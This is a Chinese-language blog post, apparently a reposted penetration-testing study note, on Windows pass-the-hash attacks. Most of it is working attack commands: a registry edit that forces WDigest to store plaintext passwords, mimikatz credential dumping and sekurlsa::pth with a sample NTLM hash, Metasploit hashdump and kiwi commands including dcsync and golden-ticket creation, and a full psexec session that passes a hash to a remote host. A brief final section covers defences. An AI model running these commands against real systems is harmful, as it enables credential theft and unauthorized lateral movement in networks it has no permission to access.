哈希傳遞攻擊利用(Pass The Hash)


最近又復習了一下內網的相關知識,把以前的整理了一下發出來做個記錄。

0x01 哈希傳遞攻擊概念

有一點內網滲透經驗的都應該聽說過哈希傳遞攻擊,通過找到相應賬戶相關的密碼散列值(LM Hash,NTLM Hash)來進行未授權登陸。
可參考Wikipedia的介紹,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash
在域環境中,用戶登錄計算機時使用的大都是域賬號,大量計算機在安裝時會使用相同的本地管理員賬號和密碼,因此,如果計算機的本地管理員賬號和密碼也是相同的,攻擊者就能使用哈希傳遞攻擊的方法登陸內網中的其他計算機。
在Windows系統中,通常會使用NTLM身份認證,NTLM認證不使用明文口令,而是使用口令加密后的hash值,hash值由系統API生成(例如LsaLogonUser)
從Windows Vista和Windows Server 2008開始,微軟默認禁用LM hash.在Windows Server 2012 R2及之后版本的操作系統中,默認不會在內存中保存明文密碼,Mimikatz 就讀不到密碼明文。此時可以通過修改注冊表的方式抓取明文,但需要用戶重新登錄后才能成功抓取。修改注冊表命令為:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

因此,攻擊者如果使用工具將散列值傳遞到其他計算機中,進行權限驗證,就能夠在身份驗證的時候模擬該用戶(即跳過調用API生成hash的過程),實現對計算機的控制。

NTLM Hash與NTLM

hash分為LM hash和NT hash,如果密碼長度大於15,那么無法生成LM hash。
在Windows中,密碼Hash目前稱之為NTLM Hash,其中NTLM全稱是:“NT LAN Manager”。這個NTLM是一種網絡認證協議,與NTLM Hash的關系就是:NTLM網絡認證協議是以NTLM Hash作為根本憑證進行認證的協議。也就是說,NTLM與NTLM Hash相互對應。在本地認證的過程中,其實就是將用戶輸入的密碼轉換為NTLM Hash與SAM中的NTLM Hash進行比較。
注:
mimikatz支持導出內存中用戶的LM hash,但前提是Windows系統支持LM hash
Windows Server 2008啟用LM hash的方法:
gpedit.msc->計算機配置->Windows 設置->安全設置->本地策略->安全選項
找到網絡安全︰ 不要在下次更改密碼存儲 LAN 管理器的哈希值,選擇已禁用
系統下一次更改密碼后,就能夠導出LM hash(已經被棄用了)

0x02 利用方法

1.首先就是神器mimikatz,但你首先得擁有本地管理員的執行的權限。

privilege::debug
sekurlsa::logonpasswords


復制NTLM Hash的值

sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390

完成之后會彈出cmd.exe,或者重新開一個命令行

也可以嘗試列出被哈希傳遞攻擊的域內靶機的c盤內容

利用msf進行哈希傳遞攻擊

msf內置的mimikatz獲取hash(需要管理員權限)

在msf中也內置有mimikatz,以下命令都可以在msf中獲取hash

hashdump
run hashdump
run post/windows/gather/smart_hashdump
除了meterpreter自帶的,還可以通過加載mimikatz獲得:
load mimikatz(必須,否則無以下命令)
msv    獲取的是hash值
tspkg   tspkg憑證相關的模塊
wdigest   讀取內存中存放的賬號密碼明文信息
kerberos  kerberos相關的模塊
ssp   獲取的是明文信息

mimikatz的原生命令在這里有些改動
mimikatz_command 模塊可以讓我們使用mimikatz的全部功能。

meterpreter > mimikatz_command -f a::  輸入一個錯誤的模塊,可以列出所有模塊
meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f handle::list  列出應用進程
meterpreter > mimikatz_command -f service::list  列出服務

例如

mimikatz_command -f samdump::hashes   獲取hash


建議每種都試一下,可能因為windows版本的高低,有些情況一種命令獲取不到,比如我的win2003就只能用hashdump命令才能看到密碼hash,

msf的kiwi模塊(需要系統權限)

kiwi就是msf內置的mimikatz模塊的升級版
但是kiwi是默認加載32位系統的,所以如果目標主機是64位系統的話,直接默認加載該模塊會導致很多功能無法使用。所以如果目標系統是64位的,則必須先查看系統進程列表,然后用migrate命令將meterpreter進程遷移到一個64位程序的進程中,才能加載mimikatz並且查看系統明文。如果目標系統是32位的,則沒有這個限制。
使用前先在meterpreter下加載kiwi模塊

使用命令creds_kerberos列舉所有kerberos憑據

可以看到我之前用msf內置的mimikatz沒有加載出來的密碼,現在明文加載出來了。
再來將用戶hash密碼加載出來kiwi_cmd:執行mimikatz的命令,后面接mimikatz.exe的命令

可以看到成功列出用戶密碼hash
kiwi模塊命令集合

creds_all: 列舉所有憑據
creds_kerberos:列舉所有kerberos憑據
creds_msv:列舉所有msv憑據
creds_ssp:列舉所有ssp憑據
creds_tspkg:列舉所有tspkg憑據
creds_wdigest:列舉所有wdigest憑據
dcsync: 通過DCSync檢索用戶帳戶信息
dcsync_ntlm: 通過DCSync檢索用戶帳戶NTLM散列、SID和RID
golden_ticket_create:創建黃金票據
kerberos_ticket_list:列舉kerberos票據
kerberos_ticket_purge:清除kerberos票據
kerberos_ticket_use:使用kerberos票據
kiwi_cmd:執行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密碼
wifi_list: 列出當前用戶的wifi配置文件
wifi_list_shared: 列出共享wifi配置文件/編碼

msf psexec模塊

PsExec是sysinternals套件中的一款強大的軟件,通過他可以提權和執行遠程命令,對於批量大范圍的遠程運維能起到很好的效果,尤其是在域環境下。但現在,攻擊者漸漸開始使用psexec,通過命令行環境與目標靶機進行連接,甚至控制目標機器,而不需要通過遠程連接協議(RDP)進行圖形化設置,降低了因為惡意操作被管理員發現的可能性(因為PsExec是Windows提供的工具,所以殺毒軟件可能會將其列入白名單)
msf中有3個psexec模塊都可以進行Hash傳遞利用:

# 執行單個命令的PTH模塊
auxiliary/admin/smb/psexec_command

# 執行直接就獲取到meterpreter的PTH模塊
exploit/windows/smb/psexec

# 支持對一個網段進行PTH進行驗證的模塊
exploit/windows/smb/psexec_psh

再使用pesxec模塊之前要保證:

  1. 開啟445端口 SMB服務
  2. 開啟admin$共享
    使用之前板塊獲取到的管理員NTLM Hash
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390這里前半部分的LM Hash不重要,只要保證后半部分的NTML Hash正確就行。
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
rhost => 192.168.5.11
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390 
smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
msf5 exploit(windows/smb/psexec) > run



這里還有很多不錯的獲取hash方法沒寫(主要是懶,用msf方便),比如PowerShell、WCE、AES-256密鑰哈希傳遞、python第三方庫impacket下的secretsdump等等,以后有空再記錄吧.....

0x03 防范措施

KB2871997補丁的影響

防范首先想到打補丁,微軟也早在2014年5月發布了KB2871997補丁,該補丁禁止通過本地管理員權限與遠程計算機進行連接,其后果就是:無法通過本地管理員權限對遠程計算機使用Psexec、WMI、smbecec等,也無法訪問遠程的文件共享等。
但實際上就算打了KB2871997補丁后,Administrator賬號(SID為500)也是例外的,使用該賬戶的NTLM Hash依然可以進行哈希傳遞

防御 mimikatz 攻擊

mimikatz在抓取散列值或明文密碼時,需要用到Debug權限(因為mimikatz需要和lsass進程進行交互,如果沒有Debug權限,mimikatz將不能讀取lsass進程里的密碼)。而Debug權限歸本地管理員Administrator所有,目的是確定哪些用戶可以將調試器附加到任何進程或內核中,但一般Administrator不會用到這個權限(除非是系統進程)。

所以在配置用戶權限時,可以將擁有Debug權限的本地管理員從Administrator組中移除。重啟系統之后,在運行mimikatz,在第一步"privilege::debug"時就會報錯了。

0x04 參考文獻

http://saucer-man.com/information_security/443.html#cl-11
https://saucer-man.com/information_security/79.html#cl-13
https://www.freebuf.com/articles/system/217681.html
https://blog.csdn.net/qq_36119192/article/details/104802921
https://www.cnblogs.com/Mikasa-Ackerman/p/hou-shen-tou-zhong-de-mi-ma-zhua-qu.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM